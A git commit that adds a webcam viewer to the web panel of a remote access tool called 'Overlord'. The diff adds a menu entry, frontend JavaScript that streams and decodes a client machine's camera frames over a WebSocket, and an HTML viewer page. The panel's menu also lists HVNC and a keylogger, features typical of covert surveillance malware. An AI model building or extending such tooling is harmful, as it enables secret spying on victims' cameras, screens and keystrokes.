webcam
This commit is contained in:
@@ -83,6 +83,9 @@ function applyMenuSupportRules(clientId) {
|
||||
const hvncBtn = menu.querySelector('[data-open="hvnc"]');
|
||||
setAvailability(hvncBtn, isWindows, "HVNC is only supported on Windows clients.");
|
||||
|
||||
const webcamBtn = menu.querySelector('[data-open="webcam"]');
|
||||
setAvailability(webcamBtn, isWindows, "Webcam viewer is only supported on Windows clients.");
|
||||
|
||||
const keyloggerBtn = menu.querySelector('[data-open="keylogger"]');
|
||||
setAvailability(
|
||||
keyloggerBtn,
|
||||
@@ -595,6 +598,11 @@ menu.addEventListener("click", async (e) => {
|
||||
closeMenu(clearContext);
|
||||
return;
|
||||
}
|
||||
if (open === "webcam") {
|
||||
window.open(`/webcam?clientId=${contextCard}`, "_blank", "noopener");
|
||||
closeMenu(clearContext);
|
||||
return;
|
||||
}
|
||||
if (open === "hvnc") {
|
||||
window.open(`/hvnc?clientId=${contextCard}`, "_blank", "noopener");
|
||||
closeMenu(clearContext);
|
||||
|
||||
@@ -7,6 +7,7 @@ menu.innerHTML = `
|
||||
<button class="w-full text-left px-3 py-2.5 mb-1 rounded-lg border border-emerald-800 bg-emerald-900/50 hover:bg-emerald-800/70 text-emerald-100 flex items-center gap-2" data-open="console"><i class="fa-solid fa-terminal"></i> Open Console</button>
|
||||
<button class="w-full text-left px-3 py-2.5 mb-1 rounded-lg border border-teal-800 bg-teal-900/45 hover:bg-teal-800/65 text-teal-100 flex items-center gap-2" data-open="voice"><i class="fa-solid fa-headset"></i> Voice Support</button>
|
||||
<button class="w-full text-left px-3 py-2.5 mb-1 rounded-lg border border-purple-800 bg-purple-900/50 hover:bg-purple-800/70 text-purple-100 flex items-center gap-2" data-open="remotedesktop"><i class="fa-solid fa-desktop"></i> Remote Desktop</button>
|
||||
<button class="w-full text-left px-3 py-2.5 mb-1 rounded-lg border border-emerald-800 bg-emerald-900/45 hover:bg-emerald-800/65 text-emerald-100 flex items-center gap-2" data-open="webcam"><i class="fa-solid fa-video"></i> Webcam Viewer</button>
|
||||
<button class="w-full text-left px-3 py-2.5 mb-1 rounded-lg border border-violet-800 bg-violet-900/50 hover:bg-violet-800/70 text-violet-100 flex items-center gap-2" data-open="hvnc"><i class="fa-solid fa-ghost"></i> HVNC</button>
|
||||
<button class="w-full text-left px-3 py-2.5 mb-1 rounded-lg border border-blue-800 bg-blue-900/50 hover:bg-blue-800/70 text-blue-100 flex items-center gap-2" data-open="files"><i class="fa-solid fa-folder-tree"></i> File Browser</button>
|
||||
<button class="w-full text-left px-3 py-2.5 mb-1 rounded-lg border border-orange-800 bg-orange-900/50 hover:bg-orange-800/70 text-orange-100 flex items-center gap-2" data-open="processes"><i class="fa-solid fa-list-check"></i> Process Manager</button>
|
||||
|
||||
@@ -0,0 +1,379 @@
|
||||
import { encodeMsgpack, decodeMsgpack } from "./msgpack-helpers.js";
|
||||
|
||||
(function () {
|
||||
const clientId = new URLSearchParams(location.search).get("clientId");
|
||||
if (!clientId) {
|
||||
alert("Missing clientId");
|
||||
return;
|
||||
}
|
||||
|
||||
const clientLabel = document.getElementById("clientLabel");
|
||||
const startBtn = document.getElementById("startBtn");
|
||||
const stopBtn = document.getElementById("stopBtn");
|
||||
const cameraSelect = document.getElementById("cameraSelect");
|
||||
const refreshCameras = document.getElementById("refreshCameras");
|
||||
const fpsInput = document.getElementById("fpsInput");
|
||||
const applyFps = document.getElementById("applyFps");
|
||||
const viewerFps = document.getElementById("viewerFps");
|
||||
const statusEl = document.getElementById("streamStatus");
|
||||
const canvas = document.getElementById("frameCanvas");
|
||||
const ctx = canvas.getContext("2d");
|
||||
|
||||
clientLabel.textContent = clientId;
|
||||
|
||||
let ws = null;
|
||||
let desiredStreaming = false;
|
||||
let streamState = "connecting";
|
||||
let renderCount = 0;
|
||||
let renderWindowStart = performance.now();
|
||||
let videoDecoder = null;
|
||||
let h264TimestampUs = 0;
|
||||
let availableDevices = [];
|
||||
let selectedDeviceIndex = 0;
|
||||
|
||||
function selectedDeviceMaxFps() {
|
||||
const selected = availableDevices.find((dev) => (Number(dev.index) || 0) === selectedDeviceIndex);
|
||||
const max = Number(selected?.maxFps) || 0;
|
||||
return max > 0 ? Math.min(120, max) : 120;
|
||||
}
|
||||
|
||||
function applyFpsInputLimits() {
|
||||
const maxFps = selectedDeviceMaxFps();
|
||||
fpsInput.max = String(maxFps);
|
||||
const current = Number(fpsInput.value) || 30;
|
||||
if (current > maxFps) {
|
||||
fpsInput.value = String(maxFps);
|
||||
}
|
||||
}
|
||||
|
||||
function applyFpsSettings() {
|
||||
if (streamState === "streaming" || streamState === "starting" || streamState === "stopping") {
|
||||
setStreamState("error", "Stop stream before changing FPS");
|
||||
return;
|
||||
}
|
||||
const maxFps = selectedDeviceMaxFps();
|
||||
const fps = Math.max(1, Math.min(maxFps, Number(fpsInput.value) || 30));
|
||||
if ((Number(fpsInput.value) || 30) > maxFps) {
|
||||
fpsInput.value = String(maxFps);
|
||||
setStreamState("idle", `FPS capped to camera max (${maxFps})`);
|
||||
}
|
||||
send("webcam_set_fps", { fps, useMax: false });
|
||||
}
|
||||
|
||||
function requestCameraList() {
|
||||
send("webcam_list");
|
||||
}
|
||||
|
||||
function renderCameraList(devices, selected) {
|
||||
availableDevices = Array.isArray(devices) ? devices : [];
|
||||
cameraSelect.innerHTML = "";
|
||||
if (!availableDevices.length) {
|
||||
const opt = document.createElement("option");
|
||||
opt.value = "0";
|
||||
opt.textContent = "No cameras detected";
|
||||
cameraSelect.appendChild(opt);
|
||||
cameraSelect.disabled = true;
|
||||
return;
|
||||
}
|
||||
cameraSelect.disabled = false;
|
||||
for (const dev of availableDevices) {
|
||||
const idx = Number(dev.index) || 0;
|
||||
const maxFps = Number(dev.maxFps) || 0;
|
||||
const opt = document.createElement("option");
|
||||
opt.value = String(idx);
|
||||
opt.textContent = maxFps > 0
|
||||
? `${dev.name || `Camera ${idx + 1}`} (max ${maxFps} FPS)`
|
||||
: (dev.name || `Camera ${idx + 1}`);
|
||||
cameraSelect.appendChild(opt);
|
||||
}
|
||||
selectedDeviceIndex = Number(selected) || 0;
|
||||
const selectedOpt = Array.from(cameraSelect.options).find((o) => Number(o.value) === selectedDeviceIndex);
|
||||
if (selectedOpt) {
|
||||
cameraSelect.value = selectedOpt.value;
|
||||
} else if (cameraSelect.options.length) {
|
||||
cameraSelect.value = cameraSelect.options[0].value;
|
||||
}
|
||||
selectedDeviceIndex = Number(cameraSelect.value) || 0;
|
||||
applyFpsInputLimits();
|
||||
}
|
||||
|
||||
function isH264KeyFrame(data) {
|
||||
for (let i = 0; i + 4 < data.length; i++) {
|
||||
let startCodeLen = 0;
|
||||
if (data[i] === 0x00 && data[i + 1] === 0x00 && data[i + 2] === 0x01) {
|
||||
startCodeLen = 3;
|
||||
} else if (
|
||||
i + 4 < data.length &&
|
||||
data[i] === 0x00 &&
|
||||
data[i + 1] === 0x00 &&
|
||||
data[i + 2] === 0x00 &&
|
||||
data[i + 3] === 0x01
|
||||
) {
|
||||
startCodeLen = 4;
|
||||
}
|
||||
if (!startCodeLen) continue;
|
||||
const nalIndex = i + startCodeLen;
|
||||
if (nalIndex >= data.length) break;
|
||||
const nalType = data[nalIndex] & 0x1f;
|
||||
if (nalType === 5) {
|
||||
return true;
|
||||
}
|
||||
i = nalIndex;
|
||||
}
|
||||
return false;
|
||||
}
|
||||
|
||||
function destroyVideoDecoder() {
|
||||
if (!videoDecoder) return;
|
||||
try {
|
||||
videoDecoder.close();
|
||||
} catch {}
|
||||
videoDecoder = null;
|
||||
}
|
||||
|
||||
function ensureVideoDecoder() {
|
||||
if (videoDecoder) return true;
|
||||
if (typeof VideoDecoder !== "function") return false;
|
||||
try {
|
||||
videoDecoder = new VideoDecoder({
|
||||
output: (frame) => {
|
||||
const width = frame.displayWidth || frame.codedWidth || canvas.width;
|
||||
const height = frame.displayHeight || frame.codedHeight || canvas.height;
|
||||
if (width > 0 && height > 0 && (canvas.width !== width || canvas.height !== height)) {
|
||||
canvas.width = width;
|
||||
canvas.height = height;
|
||||
}
|
||||
try {
|
||||
ctx.drawImage(frame, 0, 0, canvas.width, canvas.height);
|
||||
} finally {
|
||||
frame.close();
|
||||
}
|
||||
},
|
||||
error: (err) => {
|
||||
console.warn("webcam h264 decoder error", err);
|
||||
},
|
||||
});
|
||||
videoDecoder.configure({ codec: "avc1.42E01E", optimizeForLatency: true });
|
||||
h264TimestampUs = 0;
|
||||
return true;
|
||||
} catch (err) {
|
||||
console.warn("webcam h264 decoder unavailable", err);
|
||||
destroyVideoDecoder();
|
||||
return false;
|
||||
}
|
||||
}
|
||||
|
||||
function setStreamState(state, text) {
|
||||
streamState = state;
|
||||
const icons = {
|
||||
connecting: '<i class="fa-solid fa-circle-notch fa-spin"></i>',
|
||||
starting: '<i class="fa-solid fa-circle-notch fa-spin"></i>',
|
||||
stopping: '<i class="fa-solid fa-circle-notch fa-spin"></i>',
|
||||
streaming: '<i class="fa-solid fa-circle text-emerald-400"></i>',
|
||||
idle: '<i class="fa-solid fa-circle text-slate-400"></i>',
|
||||
offline: '<i class="fa-solid fa-plug-circle-xmark text-rose-400"></i>',
|
||||
disconnected: '<i class="fa-solid fa-link-slash text-slate-400"></i>',
|
||||
error: '<i class="fa-solid fa-circle-exclamation text-rose-400"></i>',
|
||||
};
|
||||
const label = text ||
|
||||
(state === "streaming" ? "Streaming" :
|
||||
state === "starting" ? "Starting" :
|
||||
state === "stopping" ? "Stopping" :
|
||||
state === "offline" ? "Client offline" :
|
||||
state === "disconnected" ? "Disconnected" :
|
||||
state === "error" ? "Error" :
|
||||
"Stopped");
|
||||
|
||||
statusEl.innerHTML = `${icons[state] || icons.idle} <span>${label}</span>`;
|
||||
|
||||
const wsOpen = ws && ws.readyState === WebSocket.OPEN;
|
||||
const streamLocked = streamState === "streaming" || streamState === "starting" || streamState === "stopping";
|
||||
startBtn.disabled = !wsOpen || streamState === "starting" || streamState === "streaming";
|
||||
stopBtn.disabled = !wsOpen || (streamState !== "starting" && streamState !== "streaming");
|
||||
refreshCameras.disabled = !wsOpen;
|
||||
applyFps.disabled = !wsOpen || streamLocked;
|
||||
fpsInput.disabled = !wsOpen || streamLocked;
|
||||
|
||||
if (state === "idle" || state === "offline" || state === "disconnected" || state === "error") {
|
||||
viewerFps.textContent = "--";
|
||||
renderCount = 0;
|
||||
renderWindowStart = performance.now();
|
||||
}
|
||||
}
|
||||
|
||||
function updateViewerFps() {
|
||||
const now = performance.now();
|
||||
renderCount += 1;
|
||||
const elapsed = now - renderWindowStart;
|
||||
if (elapsed >= 1000) {
|
||||
viewerFps.textContent = String(Math.round((renderCount * 1000) / elapsed));
|
||||
renderCount = 0;
|
||||
renderWindowStart = now;
|
||||
}
|
||||
}
|
||||
|
||||
async function drawJpeg(bytes) {
|
||||
const blob = new Blob([bytes], { type: "image/jpeg" });
|
||||
const bitmap = await createImageBitmap(blob);
|
||||
canvas.width = bitmap.width;
|
||||
canvas.height = bitmap.height;
|
||||
ctx.drawImage(bitmap, 0, 0, bitmap.width, bitmap.height);
|
||||
bitmap.close();
|
||||
updateViewerFps();
|
||||
setStreamState("streaming", "Streaming");
|
||||
}
|
||||
|
||||
function handleFrame(data) {
|
||||
const bytes = new Uint8Array(data);
|
||||
if (bytes.length < 8) return;
|
||||
if (bytes[0] !== 0x46 || bytes[1] !== 0x52 || bytes[2] !== 0x4d) return;
|
||||
const format = bytes[6];
|
||||
const payload = bytes.slice(8);
|
||||
if (!payload.length) return;
|
||||
if (format === 1) {
|
||||
drawJpeg(payload).catch((err) => {
|
||||
console.warn("webcam draw failed", err, "payloadBytes=", payload.length);
|
||||
});
|
||||
return;
|
||||
}
|
||||
if (format === 4) {
|
||||
if (!ensureVideoDecoder()) {
|
||||
setStreamState("error", "H264 decoder unavailable in browser");
|
||||
return;
|
||||
}
|
||||
try {
|
||||
const isKey = isH264KeyFrame(payload);
|
||||
const chunk = new EncodedVideoChunk({
|
||||
type: isKey ? "key" : "delta",
|
||||
timestamp: h264TimestampUs,
|
||||
data: payload,
|
||||
});
|
||||
h264TimestampUs += 66_666;
|
||||
videoDecoder.decode(chunk);
|
||||
updateViewerFps();
|
||||
setStreamState("streaming", "Streaming");
|
||||
} catch (err) {
|
||||
console.warn("webcam h264 decode failed", err, "payloadBytes=", payload.length);
|
||||
}
|
||||
return;
|
||||
}
|
||||
console.warn("webcam unsupported frame format", format, "payloadBytes=", payload.length);
|
||||
}
|
||||
|
||||
function send(type, payload = {}) {
|
||||
if (!ws || ws.readyState !== WebSocket.OPEN) return;
|
||||
ws.send(encodeMsgpack({ type, ...payload }));
|
||||
}
|
||||
|
||||
function handleControlMessage(msg) {
|
||||
if (!msg || typeof msg !== "object") return;
|
||||
if (msg.type === "webcam_devices") {
|
||||
renderCameraList(msg.devices, msg.selected);
|
||||
return;
|
||||
}
|
||||
if (msg.type === "ready") {
|
||||
setStreamState("idle", "Ready");
|
||||
return;
|
||||
}
|
||||
if (msg.type === "status") {
|
||||
if (msg.status === "offline") {
|
||||
desiredStreaming = false;
|
||||
setStreamState("offline", msg.reason || "Client offline");
|
||||
} else if (msg.status === "connecting") {
|
||||
setStreamState("idle", "Ready");
|
||||
} else if (msg.status === "online") {
|
||||
setStreamState("idle", "Ready");
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
function connect() {
|
||||
const protocol = location.protocol === "https:" ? "wss://" : "ws://";
|
||||
ws = new WebSocket(`${protocol}${location.host}/api/clients/${clientId}/webcam/ws`);
|
||||
ws.binaryType = "arraybuffer";
|
||||
setStreamState("connecting", "Connecting");
|
||||
|
||||
ws.onopen = () => {
|
||||
requestCameraList();
|
||||
applyFpsSettings();
|
||||
if (desiredStreaming) {
|
||||
send("webcam_start");
|
||||
setStreamState("starting", "Starting");
|
||||
} else {
|
||||
setStreamState("idle", "Stopped");
|
||||
}
|
||||
};
|
||||
|
||||
ws.onmessage = (event) => {
|
||||
if (event.data instanceof ArrayBuffer) {
|
||||
const bytes = new Uint8Array(event.data);
|
||||
if (bytes.length >= 4 && bytes[0] === 0x46 && bytes[1] === 0x52 && bytes[2] === 0x4d) {
|
||||
handleFrame(event.data);
|
||||
return;
|
||||
}
|
||||
}
|
||||
|
||||
const msg = decodeMsgpack(event.data);
|
||||
handleControlMessage(msg);
|
||||
};
|
||||
|
||||
ws.onclose = () => {
|
||||
setStreamState("disconnected", "Disconnected");
|
||||
setTimeout(connect, 3000);
|
||||
};
|
||||
|
||||
ws.onerror = () => {
|
||||
setStreamState("error", "Connection error");
|
||||
};
|
||||
}
|
||||
|
||||
startBtn.addEventListener("click", () => {
|
||||
desiredStreaming = true;
|
||||
applyFpsSettings();
|
||||
send("webcam_start");
|
||||
setStreamState("starting", "Starting");
|
||||
});
|
||||
|
||||
stopBtn.addEventListener("click", () => {
|
||||
desiredStreaming = false;
|
||||
send("webcam_stop");
|
||||
setStreamState("stopping", "Stopping");
|
||||
setTimeout(() => {
|
||||
if (streamState === "stopping") {
|
||||
setStreamState("idle", "Stopped");
|
||||
}
|
||||
}, 300);
|
||||
});
|
||||
|
||||
window.addEventListener("beforeunload", () => {
|
||||
if (ws && ws.readyState === WebSocket.OPEN) {
|
||||
send("webcam_stop");
|
||||
}
|
||||
destroyVideoDecoder();
|
||||
});
|
||||
|
||||
refreshCameras.addEventListener("click", () => {
|
||||
requestCameraList();
|
||||
});
|
||||
|
||||
cameraSelect.addEventListener("change", () => {
|
||||
const index = Number(cameraSelect.value) || 0;
|
||||
selectedDeviceIndex = index;
|
||||
applyFpsInputLimits();
|
||||
send("webcam_select", { index });
|
||||
});
|
||||
|
||||
fpsInput.addEventListener("input", () => {
|
||||
const maxFps = selectedDeviceMaxFps();
|
||||
const val = Number(fpsInput.value);
|
||||
if (Number.isFinite(val) && val > maxFps) {
|
||||
fpsInput.value = String(maxFps);
|
||||
}
|
||||
});
|
||||
|
||||
applyFps.addEventListener("click", () => {
|
||||
applyFpsSettings();
|
||||
});
|
||||
|
||||
connect();
|
||||
})();
|
||||
@@ -0,0 +1,105 @@
|
||||
<!doctype html>
|
||||
<html>
|
||||
<head>
|
||||
<meta charset="utf-8" />
|
||||
<meta name="viewport" content="width=device-width, initial-scale=1.0" />
|
||||
<title>Overlord Webcam Viewer</title>
|
||||
<link rel="icon" type="image/x-icon" href="/assets/favicon.ico" />
|
||||
<link rel="preconnect" href="https://fonts.googleapis.com" />
|
||||
<link rel="preconnect" href="https://fonts.gstatic.com" crossorigin />
|
||||
<link
|
||||
href="https://fonts.googleapis.com/css2?family=Inter:wght@400;600;700&display=swap"
|
||||
rel="stylesheet"
|
||||
/>
|
||||
<link rel="stylesheet" href="/assets/tailwind.css" />
|
||||
<link
|
||||
rel="stylesheet"
|
||||
href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.5.2/css/all.min.css"
|
||||
crossorigin="anonymous"
|
||||
referrerpolicy="no-referrer"
|
||||
/>
|
||||
<link rel="stylesheet" href="/assets/main.css" />
|
||||
<link rel="stylesheet" href="/assets/console.css" />
|
||||
<script src="/assets/logout.js"></script>
|
||||
</head>
|
||||
<body class="min-h-screen bg-slate-950 text-slate-100">
|
||||
<header id="top-nav"></header>
|
||||
|
||||
<main class="px-5 py-6 flex-1 flex flex-col">
|
||||
<div class="flex-1 flex flex-col gap-4" style="max-width: 100%">
|
||||
<div class="flex flex-wrap gap-3 items-center">
|
||||
<div
|
||||
class="bg-slate-900/70 border border-slate-800 rounded-lg px-3 py-2 flex items-center gap-3"
|
||||
>
|
||||
<label class="text-sm text-slate-300" for="cameraSelect">Camera</label>
|
||||
<select
|
||||
id="cameraSelect"
|
||||
class="bg-slate-800 border border-slate-700 rounded px-2 py-1 text-slate-100 min-w-56"
|
||||
></select>
|
||||
<button id="refreshCameras" class="button ghost">
|
||||
<i class="fa-solid fa-rotate"></i><span>Refresh</span>
|
||||
</button>
|
||||
</div>
|
||||
<div
|
||||
class="bg-slate-900/70 border border-slate-800 rounded-lg px-3 py-2 flex items-center gap-3 text-sm text-slate-300"
|
||||
>
|
||||
<label class="flex items-center gap-2 text-slate-200" for="fpsInput">
|
||||
<span>FPS</span>
|
||||
<input id="fpsInput" type="number" min="1" max="120" value="30" class="bg-slate-800 border border-slate-700 rounded px-2 py-1 w-20 text-slate-100" />
|
||||
</label>
|
||||
<button id="applyFps" class="button ghost">
|
||||
<i class="fa-solid fa-sliders"></i><span>Apply</span>
|
||||
</button>
|
||||
</div>
|
||||
<div class="flex items-center gap-2">
|
||||
<button id="startBtn" class="button primary">
|
||||
<i class="fa-solid fa-play"></i><span>Start</span>
|
||||
</button>
|
||||
<button id="stopBtn" class="button ghost">
|
||||
<i class="fa-solid fa-stop"></i><span>Stop</span>
|
||||
</button>
|
||||
</div>
|
||||
<div
|
||||
id="streamStatus"
|
||||
class="inline-flex items-center gap-2 px-3 py-2 rounded-full bg-slate-800 text-slate-300 border border-slate-700 text-sm"
|
||||
>
|
||||
<i class="fa-solid fa-circle-notch fa-spin"></i>
|
||||
<span>Connecting</span>
|
||||
</div>
|
||||
<div
|
||||
class="flex items-center gap-2 bg-slate-900/70 border border-slate-800 rounded-lg px-3 py-2 text-sm text-slate-300"
|
||||
>
|
||||
<span class="uppercase tracking-wide text-xs text-slate-500">fps</span>
|
||||
<span id="viewerFps" class="pill pill-ghost font-mono text-sky-200">--</span>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div
|
||||
id="canvasContainer"
|
||||
class="flex-1 rounded-xl border border-slate-800 bg-slate-900/70 shadow-lg overflow-hidden flex flex-col"
|
||||
style="min-height: 500px"
|
||||
>
|
||||
<div class="p-3 text-sm text-slate-400 flex-shrink-0">
|
||||
Client: <span id="clientLabel" class="text-slate-100">-</span>
|
||||
</div>
|
||||
<div
|
||||
class="flex-1 flex items-center justify-center p-4"
|
||||
style="min-height: 0; overflow: hidden"
|
||||
>
|
||||
<canvas
|
||||
id="frameCanvas"
|
||||
class="bg-slate-950"
|
||||
width="1280"
|
||||
height="720"
|
||||
style="display: block; max-width: 100%; max-height: 100%; width: auto; height: auto;"
|
||||
></canvas>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</main>
|
||||
|
||||
<script src="https://cdn.jsdelivr.net/npm/msgpackr@1.11.8/dist/index.js"></script>
|
||||
<script type="module" src="/assets/nav.js"></script>
|
||||
<script type="module" src="/assets/webcam.js"></script>
|
||||
</body>
|
||||
</html>
|
||||
Reference in New Issue
Block a user